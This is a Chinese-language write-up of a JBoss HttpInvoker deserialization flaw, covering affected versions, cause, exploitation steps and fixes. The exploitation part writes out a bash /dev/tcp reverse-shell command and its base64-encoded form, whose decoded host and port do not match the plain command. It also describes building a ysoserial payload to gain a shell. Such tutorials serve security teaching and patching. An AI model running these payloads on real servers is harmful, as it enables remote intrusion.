影響範圍
5.x和6.x版本的JBOSS
基本原理
該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼
利用條件
- invoker/readonly接口未做限制或過濾(一般該路徑回顯500)
漏洞地址
http://your-ip:8080/invoker/readonly
漏洞利用
-
訪問http://your-ip:8080/invoker/readonly,網頁回顯500
-
由於
Runtime.getRuntime().exec()
中不能使用管道符,因此反彈shell命令需要編碼,工具:http://www.jackson-t.ca/runtime-exec-payloads.html,命令:bash -i >& /dev/tcp/192.168.3.105/4444 0>&1
格式:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
-
使用ysoserial的CommonsCollections5 gadget來生成序列化數據,序列化數據包含剛剛base64編碼生成的反彈shell命令,生成poc.ser文件
-
bp必須郵件從poc.ser中粘貼序列化內容,否則如果手動通過notepad這種粘貼,會收換行符影響。
-
放行請求包後,即成功反彈shell
漏洞修復
- 不需要 http-invoker.sar 組件的用戶可直接刪除此組件。
- 添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標籤中:/*用於對 http invoker 組件進行訪問控制。